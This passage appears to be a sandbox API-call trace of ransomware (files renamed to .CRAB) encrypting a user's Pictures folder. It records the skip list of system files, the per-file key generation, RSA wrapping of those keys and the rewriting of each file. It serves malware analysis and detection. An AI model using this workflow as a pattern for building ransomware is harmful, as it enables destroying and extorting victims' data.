	[0132.392] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\fy16nlf yyjgpfu.png.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0132.392] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.393] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.393] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0xfd2c, lpOverlapped=0x0) returned 1
	[0132.406] VirtualAlloc (lpAddress=0x0, dwSize=0xfd30, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.407] VirtualAlloc (lpAddress=0x0, dwSize=0xfd30, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0132.409] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.410] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffff02d4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.410] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0xfd30, lpOverlapped=0x0) returned 1
	[0132.410] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.410] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.413] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.413] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.413] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0132.413] CloseHandle (hObject=0x3f0) returned 1
	[0132.414] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.414] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.414] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.414] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.414] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.415] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.415] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0132.415] lstrcmpW (lpString1="juth4dPuja.bmp", lpString2=".") returned 1
	[0132.415] lstrcmpW (lpString1="juth4dPuja.bmp", lpString2="..") returned 1
	[0132.415] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\", lpString2="juth4dPuja.bmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp"
	[0132.415] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.415] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp") returned 62
	[0132.416] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp") returned 62
	[0132.416] lstrlenW (lpString=".bmp") returned 4
	[0132.419] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.419] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".bmp ") returned 5
	[0132.419] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.420] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp") returned 62
	[0132.420] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp") returned 62
	[0132.420] lstrcmpiW (lpString1="juth4dPuja.bmp", lpString2="desktop.ini") returned 1
	[0132.420] lstrcmpiW (lpString1="juth4dPuja.bmp", lpString2="autorun.inf") returned 1
	[0132.420] lstrcmpiW (lpString1="juth4dPuja.bmp", lpString2="ntuser.dat") returned -1
	[0132.420] lstrcmpiW (lpString1="juth4dPuja.bmp", lpString2="iconcache.db") returned 1
	[0132.420] lstrcmpiW (lpString1="juth4dPuja.bmp", lpString2="bootsect.bak") returned 1
	[0132.420] lstrcmpiW (lpString1="juth4dPuja.bmp", lpString2="boot.ini") returned 1
	[0132.420] lstrcmpiW (lpString1="juth4dPuja.bmp", lpString2="ntuser.dat.log") returned -1
	[0132.420] lstrcmpiW (lpString1="juth4dPuja.bmp", lpString2="thumbs.db") returned -1
	[0132.420] lstrcmpiW (lpString1="juth4dPuja.bmp", lpString2="CRAB-DECRYPT.txt") returned 1
	[0132.420] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.420] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp.CRAB") returned 67
	[0132.420] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\juth4dpuja.bmp")) returned 0x20
	[0132.421] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp", dwFileAttributes=0x20) returned 1
	[0132.421] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\juth4dpuja.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\juth4dpuja.bmp.crab")) returned 1
	[0132.422] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.422] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp.CRAB"
	[0132.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp.CRAB.CRAB"
	[0132.422] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e7c0) returned 1
	[0132.425] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.425] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.425] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.426] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0132.426] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0132.426] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.426] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e7c0) returned 1
	[0132.428] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.429] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.429] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.429] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0132.429] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0132.429] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.429] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.430] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.430] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0132.433] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320e990) returned 1
	[0132.433] CryptGetKeyParam (in: hKey=0x320e990, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.433] CryptEncrypt (in: hKey=0x320e990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0132.434] GetLastError () returned 0x0
	[0132.434] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.434] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e6b0) returned 1
	[0132.436] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320e750) returned 1
	[0132.436] CryptGetKeyParam (in: hKey=0x320e750, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.436] CryptEncrypt (in: hKey=0x320e750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0132.437] GetLastError () returned 0x0
	[0132.437] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0132.437] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\juth4dPuja.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\juth4dpuja.bmp.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0132.437] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.438] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.438] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0xa484, lpOverlapped=0x0) returned 1
	[0132.450] VirtualAlloc (lpAddress=0x0, dwSize=0xa490, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.451] VirtualAlloc (lpAddress=0x0, dwSize=0xa490, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0132.453] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.453] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffff5b7c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.453] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xa490, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0xa490, lpOverlapped=0x0) returned 1
	[0132.453] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.454] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.458] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.458] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.458] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0132.458] CloseHandle (hObject=0x3f0) returned 1
	[0132.458] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.458] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.459] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.459] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.459] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.459] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.460] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0132.460] lstrcmpW (lpString1="N7D2Hp.gif", lpString2=".") returned 1
	[0132.460] lstrcmpW (lpString1="N7D2Hp.gif", lpString2="..") returned 1
	[0132.460] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\", lpString2="N7D2Hp.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif"
	[0132.460] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.460] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif") returned 58
	[0132.460] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif") returned 58
	[0132.460] lstrlenW (lpString=".gif") returned 4
	[0132.460] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.460] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".gif ") returned 5
	[0132.461] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.461] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif") returned 58
	[0132.461] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif") returned 58
	[0132.461] lstrcmpiW (lpString1="N7D2Hp.gif", lpString2="desktop.ini") returned 1
	[0132.461] lstrcmpiW (lpString1="N7D2Hp.gif", lpString2="autorun.inf") returned 1
	[0132.461] lstrcmpiW (lpString1="N7D2Hp.gif", lpString2="ntuser.dat") returned -1
	[0132.461] lstrcmpiW (lpString1="N7D2Hp.gif", lpString2="iconcache.db") returned 1
	[0132.461] lstrcmpiW (lpString1="N7D2Hp.gif", lpString2="bootsect.bak") returned 1
	[0132.461] lstrcmpiW (lpString1="N7D2Hp.gif", lpString2="boot.ini") returned 1
	[0132.461] lstrcmpiW (lpString1="N7D2Hp.gif", lpString2="ntuser.dat.log") returned -1
	[0132.461] lstrcmpiW (lpString1="N7D2Hp.gif", lpString2="thumbs.db") returned -1
	[0132.461] lstrcmpiW (lpString1="N7D2Hp.gif", lpString2="CRAB-DECRYPT.txt") returned 1
	[0132.461] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.461] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif.CRAB") returned 63
	[0132.462] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\n7d2hp.gif")) returned 0x20
	[0132.462] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif", dwFileAttributes=0x20) returned 1
	[0132.462] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\n7d2hp.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\n7d2hp.gif.crab")) returned 1
	[0132.464] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.464] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif.CRAB"
	[0132.464] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif.CRAB.CRAB"
	[0132.464] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0132.467] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.468] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.468] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.468] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0132.468] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.468] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.468] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0132.471] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.471] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.471] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.471] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0132.472] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.472] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.472] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.472] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.472] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e5a0) returned 1
	[0132.475] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320eb10) returned 1
	[0132.475] CryptGetKeyParam (in: hKey=0x320eb10, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.475] CryptEncrypt (in: hKey=0x320eb10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0132.476] GetLastError () returned 0x0
	[0132.476] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0132.476] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e5a0) returned 1
	[0132.479] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320ed10) returned 1
	[0132.479] CryptGetKeyParam (in: hKey=0x320ed10, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.479] CryptEncrypt (in: hKey=0x320ed10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0132.479] GetLastError () returned 0x0
	[0132.479] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0132.479] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\N7D2Hp.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\n7d2hp.gif.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0132.480] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.480] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.480] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0x158f9, lpOverlapped=0x0) returned 1
	[0132.493] VirtualAlloc (lpAddress=0x0, dwSize=0x15900, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.495] VirtualAlloc (lpAddress=0x0, dwSize=0x15900, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0132.497] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.497] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffea707, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.498] WriteFile (in: hFile=0x3f0, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x15900, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314bf0c*=0x15900, lpOverlapped=0x0) returned 1
	[0132.498] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.498] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.502] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.502] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.503] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0132.503] CloseHandle (hObject=0x3f0) returned 1
	[0132.503] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.503] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
